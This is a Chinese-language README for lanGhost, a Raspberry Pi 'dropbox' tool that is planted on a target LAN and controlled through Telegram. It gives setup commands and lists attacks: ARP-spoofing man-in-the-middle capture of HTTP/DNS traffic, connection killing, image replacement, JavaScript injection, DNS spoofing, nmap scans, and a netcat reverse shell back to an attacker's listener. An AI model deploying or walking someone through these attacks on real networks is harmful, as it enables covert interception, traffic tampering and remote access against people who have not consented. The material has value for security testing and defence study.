👻 一个可通过 Telegram 控制的局域网 Dropbox 聊天机器人
lanGhost 专为 树莓派(Raspbian/Kali for RPi)设计。在其他/桌面发行版上运行可能导致问题,且可能无法按预期工作。
你需要一台 树莓派,SD 卡上安装全新的 Raspbian/Kali,因为你不想有任何其他后台运行的程序。
启动树莓派,通过 SSH 登录或连接显示器和键盘,然后运行以下命令:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
请仔细阅读安装脚本运行时的提示/消息!
[+] 请输入已连接/将要连接到目标局域网的网络接口名称。默认有线接口为 'eth0',默认无线接口在大多数系统上是 'wlan0',但你可以在另一个终端中使用 'ifconfig' 命令进行检查。
[+] 请通过 Telegram 向 @BotFather 发送命令 '/newbot' 来创建一个 Telegram API 密钥。
之后,@BotFather 会要求你为机器人选择一个名称。可以是任何你想要的名称。
最后,@BotFather 会要求你为机器人设置一个用户名。你必须选择一个以 'bot' 结尾的唯一用户名。例如:xdavidbot。请记住这个用户名,因为稍后你需要搜索它来找到你的机器人,lanGhost 将在该机器人上运行。
在将你选择的用户名发送给 @BotFather 后,你将收到你的 API 密钥。
[+] 现在,为使 lanGhost 只允许你访问,你需要验证自己。
将下面的验证码发送给你刚刚创建的机器人。只需搜索你的机器人的 @username(你发送给 @BotFather 的)即可找到它。
[+] 要发送的验证码:******
[+] 你想让 lanGhost 随系统启动吗?如果你将此设备用作 dropbox,此选项是必需的,因为当你将此设备投放至网络中时,你将无法远程启动 lanGhost!(自动启动通过添加一条新的 cron '@reboot' 条目实现)
在大于 /24 的网络中使用 lanGhost 不推荐,因为扫描会花费太长时间。
lanGhost 并不安静。任何监控流量的人都能看到 ARP 数据包!
如果你在步骤 4/4(自动启动)中选择了 yes,则树莓派已完全准备好进行投放。lanGhost 应在启动时运行,并通过 Telegram 向你发送一条消息,内容为:lanGhost started! 👻。
请务必先在实验室中测试,确保 lanGhost 能够响应你的消息!
一切就绪后,只需将以太网线插入树莓派,并通过 micro USB 连接电源,即可开始!
(lanGhost 也可以通过 WiFi 工作,但你需要先设置 wpa_supplicant 以自动连接网络)
/scan - 扫描局域网
/scanip [目标IP] - 扫描特定 IP 地址。
/kill [目标IP] - 停止目标的网络连接。
/mitm [目标IP] - 捕获目标的 HTTP/DNS 流量。
/replaceimg [目标IP] - 替换目标请求的 HTTP 图片。
/injectjs [目标IP] [JS文件URL] - 向目标请求的 HTTP 页面注入 JavaScript。
/spoofdns [目标IP] [域名] [伪造IP] - 为目标伪造 DNS 记录。
/attacks - 查看当前正在运行的攻击。
/stop [攻击ID] - 停止当前正在运行的攻击。
/restart - 重启 lanGhost。
/reversesh [目标IP] [端口] - 创建到目标的 netcat 反向 Shell。
/help - 显示帮助菜单。
/ping - Pong。
你可以使用以下命令之一启动攻击:/kill, /mitm, /replaceimg, /injectjs, /spoofdns
当你运行一个或多个攻击后,可以使用 /attack 命令获取包含 ATTACK-ID 的列表。
要停止攻击,请键入 /stop [ATTACK-ID]。
/reversesh 仅建立未加密的 netcat TCP 连接,所有流量都可能被监控!仅在紧急修复或必要时用于建立加密的反向连接。
/reversesh 命令用于在树莓派上获取反向 Shell,当它无法从外部访问时使用。
要使用 /reversesh 命令,你需要有一个监听该 Shell 的服务器。
在你的服务器上启动监听器的 Netcat 命令:
$ nc -l 0.0.0.0 [端口]
Telegram 命令:
/reversesh [你的监听服务器IP] [端口]
/kill - 停止目标的互联网连接。/mitm - 捕获目标的 HTTP 和 DNS 流量,并通过文本消息发送。/replaceimg - 将目标的 HTTP 图片替换为你发送给机器人的图片。/injectjs - 向目标的每个 HTTP HTML 响应中注入 JavaScript。你需要将 JS 文件托管在你的服务器上,并将 URL 作为参数提供。/spoofdns - 伪造目标的 DNS 响应。所有攻击均使用 ARP 欺骗!
/scan - 扫描本地网络并返回在线主机。使用 nmap -sn 扫描发现主机。/scanip - 扫描 IP 地址的开放端口和其他信息。使用 nmap -sS 扫描。每次有新设备加入/离开网络时,你都会收到一条消息。
版权所有 (c) 2018 David Schütz。保留部分权利。
lanGhost 遵循 MIT 许可证条款,并遵守许可证文件中所述的所有澄清说明。你也可以发送邮件至 xdavid{at}protonmail{dot}com。